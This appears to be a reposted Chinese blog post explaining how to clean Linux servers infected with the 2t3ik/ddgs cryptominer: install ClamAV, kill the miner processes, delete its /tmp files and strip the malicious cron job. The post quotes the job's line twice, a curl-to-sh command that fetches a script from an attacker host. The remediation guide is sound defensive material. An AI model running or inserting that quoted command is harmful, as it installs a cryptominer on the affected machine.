linux服务被植入挖矿（2t3ik与ddgs）解决方式

107 阅读 0 评论 71 点赞

我是靠谱客的博主落后手套，最近开发中收集的这篇文章主要介绍linux服务被植入挖矿（2t3ik与ddgs）解决方式，觉得挺不错的，现在分享给大家，希望可以做个参考。

已处理过多台服务器，目前没再被植入挖矿，按照以下步骤可行：

1、安装杀毒软件ClamAV

https://www.cnblogs.com/duoyi/articles/clamav.html

2、删除挖矿植入的代码、定时任务

a、查看占有内存高的进程，

top

b、删除对应的进程

kill -9 ID

c、删除tmp下对应的文件

rm -rf /tmp/文件2t3ik与ddgs

d、删除定时任务的内容
crontab -e
将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除

e、检查/var/spool/cron/root 和 /var/spool/cron/crontabs/root
删除自动执行命令
/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh

参考内容：

https://blog.csdn.net/juan083/article/details/52093931

http://www.361way.com/2t3ik-ddgs/5680.html

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。